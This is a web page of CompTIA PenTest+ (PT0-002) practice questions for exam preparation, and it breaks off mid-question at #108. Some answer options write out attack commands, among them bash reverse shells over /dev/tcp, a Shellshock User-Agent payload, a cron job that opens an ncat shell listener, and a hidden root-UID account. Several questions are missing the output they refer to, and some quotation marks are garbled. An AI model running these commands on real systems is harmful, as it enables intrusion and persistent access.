Welcome to awslagi.com – Sharing AWS, Anthropic, Google Cloud, Microsoft Azure IT Exams. It's free for all!

CompTIA PenTest+ Certification Exam

Master the technical skills to identify and exploit vulnerabilities to secure networks.

4.8★★★★★(399 ratings)
16,047 studentsIntermediate
Learn the latest penetration testing and vulnerability management skills used by cybersecurity professionals. This course covers everything from reconnaissance to reporting and post-exploitation. Gain the specialized skills needed to perform ethical hacking and secure complex infrastructures. Validate your ability to think like an attacker to build stronger defenses.

What you'll learn

  • Planning & Scoping
  • Information Gathering
  • Vulnerability Scanning
  • Attacks & Exploits
  • Reporting & Communication

PT0-002

Lectures4
Questions226
Duration30 week
Students16,047

$20.00

Full Free Question Bank (226 Questions)

CompTIA PenTest+ Certification Exam (PT0-002) Practice Questions & Verified Answers

Click any option to test your knowledge, or reveal the verified answer and detailed explanation below each question.

Jump to Section:
Question #1Part 1

Which of the following commands will allow a penetration tester to permit a shell script to be executed by the file owner?

Achmod u+x script.sh
Bchmod u+e script.sh
Cchmod o+e script.sh
Dchmod o+x script.sh
Question #2Part 1

A penetration tester gains access to a system and establishes persistence, and then run the following commands: Which of the following actions is the tester MOST likely performing?

ARedirecting Bash history to /dev/null
BMaking a copy of the user's Bash history to further enumeration
CCovering tracks by clearing the Bash history
DMaking decoy files on the system to confuse incident responders
Question #3Part 1

A compliance-based penetration test is primarily concerned with:

Aobtaining PII from the protected network.
Bbypassing protection on edge devices.
Cdetermining the efficacy of a specific set of security standards.
Dobtaining specific information from the protected network.
Question #4Part 1

A penetration tester is explaining the MITRE ATT&CK framework to a company's chief legal counsel. Which of the following would the tester MOST likely describe as a benefit of the framework?

AUnderstanding the tactics of a security intrusion can help disrupt them.
BScripts that are part of the framework can be imported directly into SIEM tools.
CThe methodology can be used to estimate the cost of an incident better.
DThe framework is static and ensures stability of a security program over time.
Question #5Part 1Select 2

Which of the following BEST describe the OWASP Top 10? (Choose two.)

AThe most critical risks of web applications
BA list of all the risks of web applications
CThe risks defined in order of importance
DA web-application security standard
EA risk-governance and compliance framework
Question #6Part 1

A penetration tester discovered a vulnerability that provides the ability to upload to a path via discovery traversal. Some of the files that were discovered through this vulnerability are: Which of the following is the BEST method to help an attacker gain internal access to the affected machine?

AEdit the discovered file with one line of code for remote callback.
BDownload .pl files and look for usernames and passwords.
CEdit the smb.conf file and upload it to the server.
DDownload the smb.conf file and look at configurations.
Question #7Part 1

A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data. Which of the following should the tester verify FIRST to assess this risk?

AWhether sensitive client data is publicly accessible
BWhether the connection between the cloud and the client is secure
CWhether the client's employees are trained properly to use the platform
DWhether the cloud applications were developed using a secure SDLC
Question #8Part 1

A penetration tester ran the following command on a staging server: python -m SimpleHTTPServer 9891 Which of the following commands could be used to download a file named exploit to a target machine for execution?

Anc 10.10.51.50 9891 < exploit
Bpowershell -exec bypass -f \\10.10.51.50\9891
Cbash -i >& /dev/tcp/10.10.51.50/9891 0&1/exploit
Dwget 10.10.51.50:9891/exploit
Question #9Part 1

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized: Which of the following commands should the penetration tester run post-engagement?

Agrep -v apache ~/bash_history > ~/.bash_history
Brm -rf /tmp/apache
Cchmod 600 /tmp/apache
Dtaskkill /IM ג€apacheג€ /F
Question #10Part 1

Which of the following is MOST important to include in the final report of a static application-security test that was written with a team of application developers as the intended audience?

AExecutive summary of the penetration-testing methods used
BBill of materials including supplies, subcontracts, and costs incurred during assessment
CQuantitative impact assessments given a successful software compromise
DCode context for instances of unsafe typecasting operations
Question #11Part 1

A Chief Information Security Officer wants a penetration tester to evaluate the security awareness level of the company's employees. Which of the following tools can help the tester achieve this goal?

AMetasploit
BHydra
CSET
DWPScan
Question #12Part 1

Which of the following is the MOST common vulnerability associated with IoT devices that are directly connected to the Internet?

AUnsupported operating systems
BSusceptibility to DDoS attacks
CInability to network
DThe existence of default passwords
Question #13Part 1

Which of the following describes the reason why a penetration tester would run the command sdelete mimikatz. * on a Windows server that the tester compromised?

ATo remove hash-cracking registry entries
BTo remove the tester-created Mimikatz account
CTo remove tools from the server
DTo remove a reverse shell from the system
Question #14Part 1

A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?

Anmap 192.168.1.1-5 -PU22-25,80
Bnmap 192.168.1.1-5 -PA22-25,80
Cnmap 192.168.1.1-5 -PS22-25,80
Dnmap 192.168.1.1-5 -Ss22-25,80
Question #15Part 1

A penetration tester was brute forcing an internal web server and ran a command that produced the following output: However, when the penetration tester tried to browse the URL http://172.16.100.10:3000/profile, a blank page was displayed. Which of the following is the MOST likely reason for the lack of output?

AThe HTTP port is not open on the firewall.
BThe tester did not run sudo before the command.
CThe web server is using HTTPS instead of HTTP.
DThis URI returned a server error.
Question #16Part 1

A penetration tester was conducting a penetration test and discovered the network traffic was no longer reaching the client's IP address. The tester later discovered the SOC had used sinkholing on the penetration tester's IP address. Which of the following MOST likely describes what happened?

AThe penetration tester was testing the wrong assets.
BThe planning process failed to ensure all teams were notified.
CThe client was not ready for the assessment to start.
DThe penetration tester had incorrect contact information.
Question #17Part 1

An Nmap scan shows open ports on web servers and databases. A penetration tester decides to run WPScan and SQLmap to identify vulnerabilities and additional information about those systems. Which of the following is the penetration tester trying to accomplish?

AUncover potential criminal activity based on the evidence gathered.
BIdentify all the vulnerabilities in the environment.
CLimit invasiveness based on scope.
DMaintain confidentiality of the findings.
Question #18Part 1

A company hired a penetration tester to do a social-engineering test against its employees. Although the tester did not find any employees' phone numbers on the company's website, the tester has learned the complete phone catalog was published there a few months ago. In which of the following places should the penetration tester look FIRST for the employees' numbers?

AWeb archive
BGitHub
CFile metadata
DUnderground forums
Question #19Part 1

A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running. Which of the following would BEST support this task?

ARun nmap with the -O, -p22, and -sC options set against the target.
BRun nmap with the -sV and -p22 options set against the target.
CRun nmap with the --script vulners option set against the target.
DRun nmap with the -sA option set against the target.
Question #20Part 1

A penetration tester completed a vulnerability scan against a web server and identified a single but severe vulnerability. Which of the following is the BEST way to ensure this is a true positive?

ARun another scanner to compare.
BPerform a manual test on the server.
CCheck the results on the scanner.
DLook for the vulnerability online.
Question #21Part 1

A penetration tester has been given eight business hours to gain access to a client's financial system. Which of the following techniques will have the HIGHEST likelihood of success?

AAttempting to tailgate an employee who is going into the client's workplace
BDropping a malicious USB key with the company's logo in the parking lot
CUsing a brute-force attack against the external perimeter to gain a foothold
DPerforming spear phishing against employees by posing as senior management
Question #22Part 1

A company's Chief Executive Officer has created a secondary home office and is concerned that the WiFi service being used is vulnerable to an attack. A penetration tester is hired to test the security of the WiFi's router. Which of the following is MOST vulnerable to a brute-force attack?

AWPS
BWPA2-EAP
CWPA-TKIP
DWPA2-PSK
Question #23Part 1

A penetration tester writes the following script: Which of the following objectives is the tester attempting to achieve?

ADetermine active hosts on the network.
BSet the TTL of ping packets for stealth.
CFill the ARP table of the networked devices.
DScan the system on the most used ports.
Question #24Part 1

A penetration tester ran the following commands on a Windows server: Which of the following should the tester do AFTER delivering the final report?

ADelete the scheduled batch job.
BClose the reverse shell connection.
CDowngrade the svsaccount permissions.
DRemove the tester-created credentials.
Question #25Part 1

A penetration tester has established an on-path attack position and must now specially craft a DNS query response to be sent back to a target host. Which of the following utilities would BEST support this objective?

ASocat
Btcpdump
CScapy
Ddig
Question #26Part 1

A penetration tester is starting an assessment but only has publicly available information about the target company. The client is aware of this exercise and is preparing for the test. Which of the following describes the scope of the assessment?

APartially known environment testing
BKnown environment testing
CUnknown environment testing
DPhysical environment testing
Question #27Part 1

The following line-numbered Python code snippet is being used in reconnaissance: Which of the following line numbers from the script MOST likely contributed to the script triggering a probable port scan alert in the organization's IDS?

ALine 01
BLine 02
CLine 07
DLine 08
ELine 12
Question #28Part 1

A consulting company is completing the ROE during scoping. Which of the following should be included in the ROE?

ACost of the assessment
BReport distribution
CTesting restrictions
DLiability
Question #29Part 1

A new client hired a penetration-testing company for a month-long contract for various security assessments against the client's new service. The client is expecting to make the new service publicly available shortly after the assessment is complete and is planning to fix any findings, except for critical issues, after the service is made public. The client wants a simple report structure and does not want to receive daily findings. Which of the following is most important for the penetration tester to define FIRST?

AEstablish the format required by the client.
BEstablish the threshold of risk to escalate to the client immediately.
CEstablish the method of potential false positives.
DEstablish the preferred day of the week for reporting.
Question #30Part 1

A penetration tester logs in as a user in the cloud environment of a company. Which of the following Pacu modules will enable the tester to determine the level of access of the existing user?

Aiam_enum_permissions
Biam_prive_sc_scan
Ciam_backdoor_assume_role
Diam_bruteforce_permissions
Question #31Part 1

A company becomes concerned when the security alarms are triggered during a penetration test. Which of the following should the company do NEXT?

AHalt the penetration test.
BConduct an incident response.
CDeconflict with the penetration tester.
DAssume the alert is from the penetration test.
Question #32Part 1

A penetration tester has been hired to perform a physical penetration test to gain access to a secure room within a client's building. Exterior reconnaissance identifies two entrances, a WiFi guest network, and multiple security cameras connected to the Internet. Which of the following tools or techniques would BEST support additional reconnaissance?

AWardriving
BShodan
CRecon-ng
DAircrack-ng
Question #33Part 1

A red team gained access to the internal network of a client during an engagement and used the Responder tool to capture important data. Which of the following was captured by the testing team?

AMultiple handshakes
BIP addresses
CEncrypted file transfers
DUser hashes sent over SMB
Question #34Part 1

A penetration tester conducts an Nmap scan against a target and receives the following results: Which of the following should the tester use to redirect the scanning tools using TCP port 1080 on the target?

ANessus
BProxyChains
COWASP ZAP
DEmpire
Question #35Part 1

A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?

AReach out to the primary point of contact.
BTry to take down the attackers.
CCall law enforcement officials immediately.
DCollect the proper evidence and add to the final report.
Question #36Part 1

A penetration tester received a .pcap file to look for credentials to use in an engagement. Which of the following tools should the tester utilize to open and read the .pcap file?

ANmap
BWireshark
CMetasploit
DNetcat
Question #37Part 1

A penetration tester ran an Nmap scan on an Internet-facing network device with the -F option and found a few open ports. To further enumerate, the tester ran another scan using the following command: nmap -O -A -sS -p- 100.100.100.50 Nmap returned that all 65,535 ports were filtered Which of the following MOST likely occurred on the second scan?

AA firewall or IPS blocked the scan.
BThe penetration tester used unsupported flags.
CThe edge network device was disconnected.
DThe scan returned ICMP echo replies.
Question #38Part 1

A penetration tester is looking for a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. The service exists on more than 100 different hosts, so the tester would like to automate the assessment. Identification requires the penetration tester to: ✑ Have a full TCP connection ✑ Send a hello payload ✑ Wait for a response ✑ Send a string of characters longer than 16 bytes Which of the following approaches would BEST support the objective?

ARun nmap -Pn -sV --script vuln .
BEmploy an OpenVAS simple scan against the TCP port of the host.
CCreate a script in the Lua language and use it with NSE.
DPerform a credentialed scan with Nessus.
Question #39Part 1

Performing a penetration test against an environment with SCADA devices brings an additional safety risk because the:

Adevices produce more heat and consume more power.
Bdevices are obsolete and are no longer available for replacement.
Cprotocols are more difficult to understand.
Ddevices may cause physical world effects.
Question #40Part 1

A penetration tester has been given an assignment to attack a series of targets in the 192.168.1.0/24 range, triggering as few alarms and countermeasures as possible. Which of the following Nmap scan syntaxes would BEST accomplish this objective?

Anmap -sT -vvv -O 192.168.1.2/24 -PO
Bnmap -sV 192.168.1.2/24 -PO
Cnmap -sA -v -O 192.168.1.2/24
Dnmap -sS -O 192.168.1.2/24 -T1
Question #41Part 1

A penetration tester has gained access to a network device that has a previously unknown IP range on an interface. Further research determines this is an always-on VPN tunnel to a third-party supplier. Which of the following is the BEST action for the penetration tester to take?

AUtilize the tunnel as a means of pivoting to other internal devices.
BDisregard the IP range, as it is out of scope.
CStop the assessment and inform the emergency contact.
DScan the IP range for additional systems to exploit.
Question #42Part 1

A penetration tester recently performed a social-engineering attack in which the tester found an employee of the target company at a local coffee shop and over time built a relationship with the employee. On the employee's birthday, the tester gave the employee an external hard drive as a gift. Which of the following social-engineering attacks was the tester utilizing?

APhishing
BTailgating
CBaiting
DShoulder surfing
Question #43Part 1

A security company has been contracted to perform a scoped insider-threat assessment to try to gain access to the human resources server that houses PII and salary data. The penetration testers have been given an internal network starting position. Which of the following actions, if performed, would be ethical within the scope of the assessment?

AExploiting a configuration weakness in the SQL database
BIntercepting outbound TLS traffic
CGaining access to hosts by injecting malware into the enterprise-wide update server
DLeveraging a vulnerability on the internal CA to issue fraudulent client certificates
EEstablishing and maintaining persistence on the domain controller
Question #44Part 1

A penetration tester is able to capture the NTLM challenge-response traffic between a client and a server. Which of the following can be done with the pcap to gain access to the server?

APerform vertical privilege escalation.
BReplay the captured traffic to the server to recreate the session.
CUse John the Ripper to crack the password.
DUtilize a pass-the-hash attack.
Question #45Part 1

Which of the following documents describes specific activities, deliverables, and schedules for a penetration tester?

ANDA
BMSA
CSOW
DMOU
Question #46Part 1

A penetration tester is exploring a client's website. The tester performs a curl command and obtains the following: Which of the following tools would be BEST for the penetration tester to use to explore this site further?

ABurp Suite
BDirBuster
CWPScan
DOWASP ZAP
Question #47Part 1

In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: . Which of the following would be the best action for the tester to take NEXT with this information?

ACreate a custom password dictionary as preparation for password spray testing.
BRecommend using a password manager/vault instead of text files to store passwords securely.
CRecommend configuring password complexity rules in all the systems and applications.
DDocument the unprotected file repository as a finding in the penetration-testing report.
Question #48Part 1

When developing a shell script intended for interpretation in Bash, the interpreter /bin/bash should be explicitly specified. Which of the following character combinations should be used on the first line of the script to accomplish this goal?

A<#
B<$
C##
D#$
E#!
Question #49Part 1

A penetration tester who is doing a company-requested assessment would like to send traffic to another system suing double tagging. Which of the following techniques would BEST accomplish this goal?

ARFID cloning
BRFID tagging
CMeta tagging
DTag nesting
Question #50Part 1

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code: exploit = {User-Agent: () { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1, Accept: text/html,application/ xhtml+xml,application/xml} Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

Aexploit = {ג€User-Agentג€: ג€() { ignored;};/bin/bash -i id;whoamiג€, ג€Acceptג€: ג€text/html,application/xhtml +xml,application/xmlג€}
Bexploit = {ג€User-Agentג€: ג€() { ignored;};/bin/bash -i>& find / -perm -4000ג€, ג€Acceptג€: ג€text/html,application/xhtml +xml,application/xmlג€}
Cexploit = {ג€User-Agentג€: ג€() { ignored;};/bin/sh -i ps -efג€ 0>&1ג€, ג€Acceptג€: ג€text/html,application/xhtml +xml,application/xmlג€}
Dexploit = {ג€User-Agentג€: ג€() { ignored;};/bin/bash -i>& /dev/tcp/10.10.1.1/80ג€ 0>&1ג€ ג€Acceptג€: ג€text/ html,application/xhtml+xml,application/xmlג€}
Question #51Part 1Select 2

A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.)

AWireshark
BNessus
CRetina
DBurp Suite
EShodan
Question #52Part 1

A penetration tester wants to scan a target network without being detected by the client's IDS. Which of the following scans is MOST likely to avoid detection?

Anmap -P0 -T0 -sS 192.168.1.10
Bnmap -sA -sV --host-timeout 60 192.168.1.10
Cnmap -f --badsum 192.168.1.10
Dnmap -A -n 192.168.1.10
Question #53Part 1

A penetration tester has been contracted to review wireless security. The tester has deployed a malicious wireless AP that mimics the configuration of the target enterprise WiFi. The penetration tester now wants to try to force nearby wireless stations to connect to the malicious AP. Which of the following steps should the tester take NEXT?

ASend deauthentication frames to the stations.
BPerform jamming on all 2.4GHz and 5GHz channels.
CSet the malicious AP to broadcast within dynamic frequency selection channels.
DModify the malicious AP configuration to not use a preshared key.
Question #54Part 1

Which of the following protocols or technologies would in-transit confidentially protection for emailing the final security assessment report?

AS/MIME
BFTPS
CDNSSEC
DAS2
Question #55Part 1

A penetration tester was able to gather MD5 hashes from a server and crack the hashes easily with rainbow tables. Which of the following should be included as a recommendation in the remediation report?

AStronger algorithmic requirements
BAccess controls on the server
CEncryption on the user passwords
DA patch management program
Question #56Part 1

A penetration tester found the following valid URL while doing a manual assessment of a web application: http://www.example.com/product.php?id=123987. Which of the following automated tools would be best to use NEXT to try to identify a vulnerability in this URL?

ASQLmap
BNessus
CNikto
DDirBuster
Question #57Part 1

A penetration tester is attempting to discover live hosts on a subnet quickly. Which of the following commands will perform a ping scan?

Anmap -sn 10.12.1.0/24
Bnmap -sV -A 10.12.1.0/24
Cnmap -Pn 10.12.1.0/24
Dnmap -sT -p- 10.12.1.0/24
Question #58Part 1

Which of the following tools would be MOST useful in collecting vendor and other security-relevant information for IoT devices to support passive reconnaissance?

AShodan
BNmap
CWebScarab-NG
DNessus
Question #59Part 1

Which of the following should a penetration tester consider FIRST when engaging in a penetration test in a cloud environment?

AWhether the cloud service provider allows the penetration tester to test the environment
BWhether the specific cloud services are being used by the application
CThe geographical location where the cloud services are running
DWhether the country where the cloud service is based has any impeding laws
Question #60Part 1

A penetration tester runs the unshadow command on a machine. Which of the following tools will the tester most likely use NEXT?

AJohn the Ripper
BHydra
CMimikatz
DCain and Abel
Question #61Part 2

A penetration tester obtained the following results after scanning a web server using the dirb utility: Which of the following elements is MOST likely to contain useful information for the penetration tester?

Aindex.html
Babout
Cinfo
Dhome.html
Question #62Part 2

A company has hired a penetration tester to deploy and set up a rogue access point on the network. Which of the following is the BEST tool to use to accomplish this goal?

AWireshark
BAircrack-ng
CKismet
DWifite
Question #63Part 2

A penetration tester was able to gain access successfully to a Windows workstation on a mobile client's laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?

Aschtasks /create /sc /ONSTART /tr C:\Temp|WindowsUpdate.exe
Bwmic startup get caption,command
Ccrontab -l; echo ג€@reboot sleep 200 && ncat -lvp 4242 -e /bin/bashג€) | crontab 2>/dev/null
Dsudo useradd -ou 0 -g 0 user
Question #64Part 2

A company hired a penetration-testing team to review the cyber-physical systems in a manufacturing plant. The team immediately discovered the supervisory systems and PLCs are both connected to the company intranet. Which of the following assumptions, if made by the penetration-testing team, is MOST likely to be valid?

APLCs will not act upon commands injected over the network.
BSupervisors and controllers are on a separate virtual network by default.
CControllers will not validate the origin of commands.
DSupervisory systems will detect a malicious injection of code/commands.
Question #65Part 2

A penetration tester downloaded a Java application file from a compromised web server and identifies how to invoke it by looking at the following log: Which of the following is the order of steps the penetration tester needs to follow to validate whether the Java application uses encryption over sockets?

ARun an application vulnerability scan and then identify the TCP ports used by the application.
BRun the application attached to a debugger and then review the application's log.
CDisassemble the binary code and then identify the break points.
DStart a packet capture with Wireshark and then run the application.
Question #66Part 2

When planning a penetration-testing effort, clearly expressing the rules surrounding the optimal time of day for test execution is important because:

Asecurity compliance regulations or laws may be violated.
Btesting can make detecting actual APT more challenging.
Ctesting adds to the workload of defensive cyber- and threat-hunting teams.
Dbusiness and network operations may be impacted.
Question #67Part 2

A company uses a cloud provider with shared network bandwidth to host a web application on dedicated servers. The company's contact with the cloud provider prevents any activities that would interfere with the cloud provider's other customers. When engaging with a penetration-testing company to test the application, which of the following should the company avoid?

ACrawling the web application's URLs looking for vulnerabilities
BFingerprinting all the IP addresses of the application's servers
CBrute forcing the application's passwords
DSending many web requests per second to test DDoS protection
Question #68Part 2Select 2

A penetration tester is cleaning up and covering tracks at the conclusion of a penetration test. Which of the following should the tester be sure to remove from the system? (Choose two.)

ASpawned shells
BCreated user accounts
CServer logs
DAdministrator accounts
EReboot system
Question #69Part 2

A software company has hired a security consultant to assess the security of the company's software development practices. The consultant opts to begin reconnaissance by performing fuzzing on a software binary. Which of the following vulnerabilities is the security consultant MOST likely to identify?

AWeak authentication schemes
BCredentials stored in strings
CBuffer overflows
DNon-optimized resource management
Question #70Part 2

A penetration tester has prepared the following phishing email for an upcoming penetration test: Which of the following is the penetration tester using MOST to influence phishing targets to click on the link?

AFamiliarity and likeness
BAuthority and urgency
CScarcity and fear
DSocial proof and greed
Question #71Part 2

During a penetration test, a tester is able to change values in the URL from example.com/login.php?id=5 to example.com/login.php?id=10 and gain access to a web application. Which of the following vulnerabilities has the penetration tester exploited?

ACommand injection
BBroken authentication
CDirect object reference
DCross-site scripting
Question #72Part 2

Which of the following situations would MOST likely warrant revalidation of a previous security assessment?

AAfter detection of a breach
BAfter a merger or an acquisition
CWhen an organization updates its network firewall configurations
DWhen most of the vulnerabilities have been remediated
Question #73Part 2Select 2

A penetration tester gains access to a system and is able to migrate to a user process: Given the output above, which of the following actions is the penetration tester performing? (Choose two.)

ARedirecting output from a file to a remote system
BBuilding a scheduled task for execution
CMapping a share to a remote system
DExecuting a file on the remote system
ECreating a new process on all domain systems
Question #74Part 2

After gaining access to a previous system, a penetration tester runs an Nmap scan against a network with the following results: The tester then runs the following command from the previous exploited system, which fails: Which of the following explains the reason why the command failed?

AThe tester input the incorrect IP address.
BThe command requires the ג€"port 135 option.
CAn account for RDP does not exist on the server.
DPowerShell requires administrative privilege.
Question #75Part 2

Which of the following assessment methods is MOST likely to cause harm to an ICS environment?

AActive scanning
BPing sweep
CProtocol reversing
DPacket analysis
Question #76Part 2

During a penetration test, a tester is in close proximity to a corporate mobile device belonging to a network administrator that is broadcasting Bluetooth frames. Which of the following is an example of a Bluesnarfing attack that the penetration tester can perform?

ASniff and then crack the WPS PIN on an associated WiFi device.
BDump the user address book on the device.
CBreak a connection between two Bluetooth devices.
DTransmit text messages to the device.
Question #77Part 2

Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement?

AAcceptance by the client and sign-off on the final report
BScheduling of follow-up actions and retesting
CAttestation of findings and delivery of the report
DReview of the lessons during the engagement
Question #78Part 2

A penetration tester discovers a web server that is within the scope of the engagement has already been compromised with a backdoor. Which of the following should the penetration tester do NEXT?

AForensically acquire the backdoor Trojan and perform attribution.
BUtilize the backdoor in support of the engagement.
CContinue the engagement and include the backdoor finding in the final report.
DInform the customer immediately about the backdoor.
Question #79Part 2

Which of the following would a company's hunt team be MOST interested in seeing in a final report?

AExecutive summary
BAttack TTPs
CMethodology
DScope details
Question #80Part 2

A Chief Information Security Officer wants a penetration tester to evaluate whether a recently installed firewall is protecting a subnetwork on which many decades- old legacy systems are connected. The penetration tester decides to run an OS discovery and a full port scan to identify all the systems and any potential vulnerability. Which of the following should the penetration tester consider BEFORE running a scan?

AThe timing of the scan
BThe bandwidth limitations
CThe inventory of assets and versions
DThe type of scan
Question #81Part 2

Which of the following provides an exploitation suite with payload modules that cover the broadest range of target system types?

ANessus
BMetasploit
CBurp Suite
DEthercap
Question #82Part 2

A security professional wants to test an IoT device by sending an invalid packet to a proprietary service listening on TCP port 3011. Which of the following would allow the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds?

ANmap
Btcpdump
CScapy
Dhping3
Question #83Part 2

Which of the following should a penetration tester do NEXT after identifying that an application being tested has already been compromised with malware?

AAnalyze the malware to see what it does.
BCollect the proper evidence and then remove the malware.
CDo a root-cause analysis to find out how the malware got in.
DRemove the malware immediately.
EStop the assessment and inform the emergency contact.
Question #84Part 2

A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?

ASmurf
BPing flood
CFraggle
DPing of death
Question #85Part 2

A penetration tester writes the following script: Which of the following is the tester performing?

ASearching for service vulnerabilities
BTrying to recover a lost bind shell
CBuilding a reverse shell listening on specified ports
DScanning a network for specific open ports
Question #86Part 2

An Nmap network scan has found five open ports with identified services. Which of the following tools should a penetration tester use NEXT to determine if any vulnerabilities with associated exploits exist on the open ports?

AOpenVAS
BDrozer
CBurp Suite
DOWASP ZAP
Question #87Part 2

A CentOS computer was exploited during a penetration test. During initial reconnaissance, the penetration tester discovered that port 25 was open on an internal Sendmail server. To remain stealthy, the tester ran the following command from the attack machine: Which of the following would be the BEST command to use for further progress into the targeted network?

Anc 10.10.1.2
Bssh 10.10.1.2
Cnc 127.0.0.1 5555
Dssh 127.0.0.1 5555
Question #88Part 2Select 2

A penetration tester utilized Nmap to scan host 64.13.134.52 and received the following results: Based on the output, which of the following services are MOST likely to be exploited? (Choose two.)

ATelnet
BHTTP
CSMTP
DDNS
ENTP
Question #89Part 2Select 2

Which of the following expressions in Python increase a variable val by one? (Choose two.)

Aval++
B+val
Cval=(val+1)
D++val
Eval=val++
Question #90Part 2

An assessor wants to run an Nmap scan as quietly as possible. Which of the following commands will give the LEAST chance of detection?

Anmap ג€"T3 192.168.0.1
Bnmap ג€"P0 192.168.0.1
Cnmap ג€"T0 192.168.0.1
Dnmap ג€"A 192.168.0.1
Question #91Part 2

A penetration tester wrote the following script to be used in one engagement: Which of the following actions will this script perform?

ALook for open ports.
BListen for a reverse shell.
CAttempt to flood open ports.
DCreate an encrypted tunnel.
Question #92Part 2

A final penetration test report has been submitted to the board for review and accepted. The report has three findings rated high. Which of the following should be the NEXT step?

APerform a new penetration test.
BRemediate the findings.
CProvide the list of common vulnerabilities and exposures.
DBroaden the scope of the penetration test.
Question #93Part 2

Which of the following situations would require a penetration tester to notify the emergency contact for the engagement?

AThe team exploits a critical server within the organization.
BThe team exfiltrates PII or credit card data from the organization.
CThe team loses access to the network remotely.
DThe team discovers another actor on a system on the network.
Question #94Part 2

During an engagement, a penetration tester found the following list of strings inside a file: Which of the following is the BEST technique to determine the known plaintext of the strings?

ADictionary attack
BRainbow table attack
CBrute-force attack
DCredential-stuffing attack
Question #95Part 2

A penetration tester ran a simple Python-based scanner. The following is a snippet of the code: Which of the following BEST describes why this script triggered a probable port scan alert in the organization's IDS?

Asock.settimeout(20) on line 7 caused each next socket to be created every 20 milliseconds.
B*range(1, 1025) on line 1 populated the portList list in numerical order.
CLine 6 uses socket.SOCK_STREAM instead of socket.SOCK_DGRAM
DThe remoteSvr variable has neither been type-hinted nor initialized.
Question #96Part 2Select 2

A penetration tester is conducting an authorized, physical penetration test to attempt to enter a client's building during non-business hours. Which of the following are MOST important for the penetration tester to have during the test? (Choose two.)

AA handheld RF spectrum analyzer
BA mask and personal protective equipment
CCaution tape for marking off insecure areas
DA dedicated point of contact at the client
EThe paperwork documenting the engagement
Question #97Part 2

A penetration tester receives the following results from an Nmap scan: Which of the following OSs is the target MOST likely running?

ACentOS
BArch Linux
CWindows Server
DUbuntu
Question #98Part 2

A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this objective?

AWait for the next login and perform a downgrade attack on the server.
BCapture traffic using Wireshark.
CPerform a brute-force attack over the server.
DUse an FTP exploit against the server.
Question #99Part 2

Appending string values onto another string is called:

Acompilation
Bconnection
Cconcatenation
Dconjunction
Question #100Part 2

A consultant is reviewing the following output after reports of intermittent connectivity issues: Which of the following is MOST likely to be reported by the consultant?

AA device on the network has an IP address in the wrong subnet.
BA multicast session was initiated using the wrong multicast group.
CAn ARP flooding attack is using the broadcast address to perform DDoS.
DA device on the network has poisoned the ARP cache.
Question #101Part 2Select 2

Which of the following web-application security risks are part of the OWASP Top 10 v2017? (Choose two.)

ABuffer overflows
BCross-site scripting
CRace-condition attacks
DZero-day attacks
EInjection flaws
Question #102Part 2

The results of an Nmap scan are as follows: Which of the following would be the BEST conclusion about this device?

AThis device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.
BThis device is most likely a gateway with in-band management services.
CThis device is most likely a proxy server forwarding requests over TCP/443.
DThis device may be vulnerable to remote code execution because of a buffer overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.
Question #103Part 2

When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning the penetration testing activities?

AClarify the statement of work
BObtain an asset inventory from the client
CInterview all stakeholders
DIdentify all third parties involved.
Question #104Part 2Select 2

A penetration tester is reviewing the following SOW prior to engaging with a client. Network diagrams, logical and physical asset inventory, and employees' names are to be treated as client confidential. Upon completion of the engagement, the penetration tester will submit findings to the client's Chief Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner. Based on the information in the SOW, which of the following behaviors would be considered unethical? (Choose two.)

AUtilizing proprietary penetration-testing tools that are not available to the public or to the client for auditing and inspection
BUtilizing public-key cryptography to ensure findings are delivered to the CISO upon completion of the engagement.
CFailing to share with the client critical vulnerabilities that exist within the client architecture to appease the client's senior leadership team.
DSeeking help with the engagement in underground hacker forums by sharing the client's public IP address
EUsing a software-based erase tool to wipe the client's findings from the penetration tester's laptop.
Question #105Part 2

A penetration tester downloaded the following Perl script that can be used to identify vulnerabilities in network switches. However, the script is not working properly. Which of the following changes should the tester apply to make the script work as intended?

AChange line 2 to $ip= ג€10.192.168.254ג€;
BRemove lines 3, 5, and 6.
CRemove line 6.
DMove all the lines below line 7 to the top of the script.
Question #106Part 2

A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following: Which of the following combinations of tools would the penetration tester use to exploit this script?

AHydra and crunch
BNetcat and cURL
CBurp Suite and DIRB
DNmap and OWASP ZAP
Question #107Part 2

A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective?

ACreate a one-shot system service to establish a reverse shell
BObtain /etc/shadow and brute force the root password.
CRun the nc ג€"e /bin/sh command
DMove laterally to create a user account on LDAP
Question #108Part 2

A penetration tester is conducting a penetration test. The tester obtains a root-level shell on a Linux server and discovers the following data in a file named password.txt in the /home/svsacct directory: U3VQZXIkM2NyZXQhCg== Which of the following commands should the tester use NEXT to decode the contents of the file?

